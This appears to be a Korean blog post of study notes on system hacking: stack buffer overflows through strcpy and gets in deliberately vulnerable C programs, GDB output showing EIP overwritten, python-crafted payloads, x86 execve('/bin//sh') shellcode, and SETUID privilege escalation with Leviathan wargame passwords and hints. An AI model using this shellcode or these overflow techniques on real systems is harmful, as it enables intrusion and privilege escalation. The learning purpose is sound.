1. 취약점
- 에러의 한 종류
- 모든 취약점은 에러이다.
- 모든 에러는 취약점이다. (X)
1). 메모리 변조: 버퍼(스택) 오버플로우
- 1995년도에 처음 발표
- smashing the stack for fun and profit
- by Aleph One
- 취약한 함수: scanf, gets, strcpy, ....
#include <stdio.h>
int main (int argc, char *argv[])
{
char buffer1[20]={0,};
char buffer2[20]={0,};
if(argc > 1){
strcpy(buffer2, argv[1]); // vul!!!
}
printf("buffer1:%s\n",buffer1);
printf("buffer2:%s\n",buffer2);
return 0;
}
만약에 값이 20개가 넘는 글자가 들어갈 경우에 취약점이 발생한다
buffer2[20] 이라서 남은 길이가 딴 공간에 침범한다
strcpy 문자를 복사 할때 길이를 전혀 체크하지 않는다
만약 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 비정상적인 입력값을 주어주면
Segmentation fault (core dumped) 오류가 발생해서 시스템이 멈춘다.
에러가 발생하면 취약점이 될 가능성이 있기 때문에 검사한다.
[root@korea vul]# ./target1 AAAAAAAAAAAAAAAAAAAAAAAAAAA
buffer1:AAAAAAA
buffer2:AAAAAAAAAAAAAAAAAAAAAAAAAAA
[root@korea vul]# ./target1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
buffer1:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
buffer2:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)
디버거로 값을 확인해보면
eip 값이 바뀐걸 확인할 수 있었다. GDB 디버거로 확인해보면 eip레지스터에 A의 아스키코드(41)값이 들어가있는걸 확인할수있습니다. 이것을 메모리 변조라고 한다.
( 여기서 알 수 있는점은 입력 값의 길이를 체크하지 않는 함수를 사용했을때 해당 버퍼보다
큰 입력 값이 들어오게 된다면 다른 메모리 공간까지 덮어쓰게 된다는 점이다.
그리고 gdb에서 설정 해놓은 display 결과를 보면 알 수 있듯이 eip 레지스터의 주소 값 또한 덮어 써지게 된다는 것이다. )
strcpy(buffer2, argv[1]); // vul!!! 대신에
strncpy(buffer2, argv[1], 20); //를 사용하면 메모리 참조를 하지 않는다 .
gets
#include <stdio.h>
int main()
{
char buffer1[20]={0,};
char buffer2[20]={0.};
gets( buffer2 );
printf("buffer1:%s\n", buffer1);
printf("buffer2:%s\n", buffer2);
return 0;
}
[root@korea vul]# gdb -q target1
(gdb) set disassembly-flavor intel
(gdb) dis
disable disassemble display
(gdb) display /i $eip
(gdb) r AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Starting program: /root/vul/target1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
buffer1:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
buffer2:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
1: x/i $eip 0x41414141: Cannot access memory at address 0x41414141
Disabling display 1 to avoid infinite recursion.
0x41414141 AAAA eip 값이 변조가 가능하다는 소리이다
변조가 되더라도 에필로그가 실행되지 않으면 오류가 발생하지 않는다.
취약점이 발생하는 위치에 따라서도 내가 변조할 수 있는 부분이 달라진다
[실습]
#include <stdio.h>
int main(int argc, char *argv[])
{
char CAT[] = "CAT";
char buffer[20]={0,};
printf("WHAT:%s\n", CAT);
if(argc>1){ strcpy(buffer,argv[1]);}
printf("WHAT:%s\n", CAT);
return 0;
}
[root@korea vul]# vi cat.c
[root@korea vul]# gcc -o cat cat.c
[root@korea vul]# ./cat
WHAT:CAT
WHAT:CAT
-소스코드를 수정하지 않고 다음과 같이 출력되도록 만들어라.
[root@korea vul]# vi cat.c
[root@korea vul]# gcc -o cat cat.c
[root@korea vul]# ./cat
WHAT:CAT
WHAT:DOG
[root@korea vul]# ./cat AAAAAAAAAAAAAAAAAAAADOG
WHAT:CAT
WHAT:DOG
[root@korea vul]# vi cat.c
[root@korea vul]# gcc -o cat cat.c
[root@korea vul]# ./cat
WHAT:12345678
WHAT:12345678
-소스코드를 수정하지 않고 다음과 같이 출력되도록 만들어라.
[root@korea vul]# vi cat.c
[root@korea vul]# gcc -o cat cat.c
[root@korea vul]# ./cat
WHAT:12345678
WHAT:87654321
위와 같이 출력해보려고 같은 방법을 썼으나 이상한 값이 나온다.
-> 확인해보니 숫자도 문자로 인식하여 아스키 값으로 출력되는 것을 알 수 있었다.
-> 인자는 숫자 형태로 입력할 수 없다.
-> 문자열 이스케이프를 사용해야 문자열 내에서 숫자 표현이 가능해진다.
숫자를 넣고 변조 하고 싶으면
$(python -c 'print ("\x41\x41\x41\x41")')
`python -c 'print ("\x41\x41\x41\x41")'`
./cat $(python -c 'print "A" * 20 + "\x21\x43\x65\x87"')
! 문자열 이스케이프 -> 가능
! bash shell -> ', ", `, |, >
! bad charachter
1. 0x00 (null 은 죽어도 입력이 안된다) : 입력할 방법이 전혀 없음
./cat $(python -c 'print "A" * 20 + "\x00\x00\x00\x00"') ( X )
-null 뒤에 다른 문자열을 넣는건 불가능하다, 마지막에 한 바이트 가능
-문자열의 끝을 널로 인식하는 경우에는 절대 불가능하다.
2. 0xff :bash 버그
-쉘 교체: bash2로
3. 0x20, 0x0a, 0x09: 화이트 스페이스
bash: ', "
./cat "$(python -c 'print "A" * 20 + "\x20\x20\x20\x20"')"
공백(0x20)과 tab(0x09) 정도는 바꿔서 사용이 가능하다.
! 쉘코드(Shellcode)
-타켓 프로세스에 메모리에 실행하고자 하는 명령들을 올려놓고 실행
1. 기게어로 작성되어 있어야 한다.
2. 데이터 세그먼트는 사용할 수 없다.
권한을 얻고싶으면 쉘코드를 얻는게 가장 쉽다
system("/bin/sh"); -> 기계어 (bin)
--> execve --> 번호로 구분
- ELF파일 전체가 메모리에 있어야만 명령어를 실행할 수 있다.
- 여기선 기계어 코드만 메모리에 존재하기 때문에 실행될 수 없다.
해결책 - 세그먼트 없이 실행 가능하도록 스택형식으로 만들어야함.
라이브러리 함수의 주소가 다른 프로세스에서의 라이브러리 주소가 동일할 확률은 0에 가까움
해결책 - 시스템 콜 사용
2) 어셈블리어로 작성
- 직접 메모리를 제어가능
- 기계어만 가지고 실행이 가능한 환경을 구성
- 세그먼트 없이 프로그램을 작성
system 라이브러리 -> execve 시스템콜로 대체
세그먼트 -> 스택메모리로 대체
segment .text
global _start
_start:
mov ebp, esp
sub esp, 8
push 0 ;ebp-12
push '//sh' ;ebp-16
push '/bin' ;ebp-20
lea eax, [ebp-20]
mov dword [ebp-8], eax
mov dword [ebp-4], 0
add esp, 12
mov eax, 11
mov ebx, [ebp-8]
lea ecx, [ebp-8]
mov edx, 0
int 80h
add esp, 8
leave
ret
3). 권한
- 권한 상승기법
- got root???
-SETUID: effective User ID
-해당 프로그램이 실행되는 동안만 소유자의 권한을 행사
-SETGID: dffective Group ID
setuid ( 왜 굳이 취약점이 존재하는 프로그램 내에서 명령어를 실행하도록 할까?에 대한 대답 )
- 권한이 없는 사용자라 할지라도 setuid가 있으면 해당 프로그램의 소유자의 권한을 행사할 수 있다.
! 타겟 프로그램에 취약점이 존재하고
! 타겟 프로그램에 setuid 권한이 존재한다면
!! 권한 상승 가능
root: login -> id, pw -> 비교: /etc/shadow
leviathan1@leviathan:~$ ls -l /etc/shadow
-rw-r----- 1 root shadow 1420 Nov 13 16:03 /etc/shadow
/etc/leviathan_pass
leviathan0:leviathan0
leviathan1:rioGegei8m
leviathan1@leviathan:~$ ls -l check
-r-sr-x--- 1 leviathan2 leviathan1 7608 Nov 13 16:03 check
-sr
-SETUID: effective User ID
check 라는 프로그램을 실행하는 동안에는 소유자의 권한으로 실행이된다
보안상 각별한 주의가 필요한 파일이 SETUID가 걸려있는 파일이다
타켓 프로그램: 취약점 + SETUID
ltrace ./check 로 해당 파일에 비밀번호를 획득하고
./check 를 실행시켜서
ougahZi8Ta
leviathan3:
-hint: ", link
"/etc/leviathan_pass/leviathan3
'시스템 해킹' 카테고리의 다른 글
[시스템 해킹] 파일 분석하기 실습! (0) | 2018.01.29 |
---|---|
[시스템 해킹] GDB 디버거 사용법 (0) | 2018.01.27 |
[시스템 해킹] 시스템 콜 (0) | 2018.01.27 |
[시스템 해킹] main 함수의 인자 (0) | 2018.01.27 |
[시스템 해킹] 배열 지역 변수로 구현하기 (0) | 2018.01.27 |